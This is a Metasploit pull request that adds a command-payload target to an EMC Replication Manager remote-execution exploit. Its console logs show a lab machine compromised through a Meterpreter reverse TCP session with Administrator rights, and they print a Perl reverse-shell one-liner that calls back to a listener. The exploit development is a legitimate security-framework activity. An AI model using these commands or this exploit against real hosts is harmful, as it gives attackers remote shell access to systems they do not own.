ddouhine/metasploit-framework — pull request #3 by jvazquez-r7 (2013-10-18 21:37:47+00:00)
Title: Add the ARCH_CMD target

This pull request adds the proposed ARCH_CMD target to https://github.com/rapid7/metasploit-framework/pull/2536.

After the changes,

The ARCH_X86 (stager) is working okey:

```
msf exploit(replication_manager_exec) > show options

Module options (exploit/windows/emc/replication_manager_exec):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 192.168.172.244 yes The target address
RPORT 6542 yes The target port

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.172.1 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 EMC Replication Manager 5.2.1 / Windows Native Payload

msf exploit(replication_manager_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Command Stager progress - 4.94% done (4999/101168 bytes)
[*] Command Stager progress - 9.88% done (9998/101168 bytes)
[*] Command Stager progress - 14.82% done (14997/101168 bytes)
[*] Command Stager progress - 19.77% done (19996/101168 bytes)
[*] Command Stager progress - 24.71% done (24995/101168 bytes)
[*] Command Stager progress - 29.65% done (29994/101168 bytes)
[*] Command Stager progress - 34.59% done (34993/101168 bytes)
[*] Command Stager progress - 39.53% done (39992/101168 bytes)
[*] Command Stager progress - 44.47% done (44991/101168 bytes)
[*] Command Stager progress - 49.41% done (49990/101168 bytes)
[*] Command Stager progress - 54.35% done (54989/101168 bytes)
[*] Command Stager progress - 59.30% done (59988/101168 bytes)
[*] Command Stager progress - 64.24% done (64987/101168 bytes)
[*] Command Stager progress - 69.18% done (69986/101168 bytes)
[*] Command Stager progress - 74.12% done (74985/101168 bytes)
[*] Command Stager progress - 79.06% done (79984/101168 bytes)
[*] Command Stager progress - 84.00% done (84983/101168 bytes)
[*] Command Stager progress - 88.94% done (89982/101168 bytes)
[*] Command Stager progress - 93.88% done (94981/101168 bytes)
[*] Command Stager progress - 98.80% done (99949/101168 bytes)
[*] Command Stager progress - 100.00% done (101168/101168 bytes)
[*] Sending stage (770048 bytes) to 192.168.172.244
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.244:1287) at 2013-10-18 16:30:56 -0500

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter >
```

But the ARCH_CMD target is failing for several payloads (perl is installed on the target machine of course.)

```
msf exploit(replication_manager_exec) > set target 1
target => 1
msf exploit(replication_manager_exec) > set payload cmd/windows/reverse_perl
payload => cmd/windows/reverse_perl
msf exploit(replication_manager_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Executing payload...
[*] perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"192.168.172.1:4444\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"
msf exploit(replication_manager_exec) >
```

Probably the ARCH_CMD target is failing due to badchars. So the options are:

* Make an accurate analysis of the vulnerability (badchars, lengths, etc.) and make the ARCH_CMD target to work.

* Delete the ARCH_CMD target (and the CMD option since it is not going to be reliable), and allow just the Native payload via the VBSStager, which isn't restricted by badchars and is working good enough.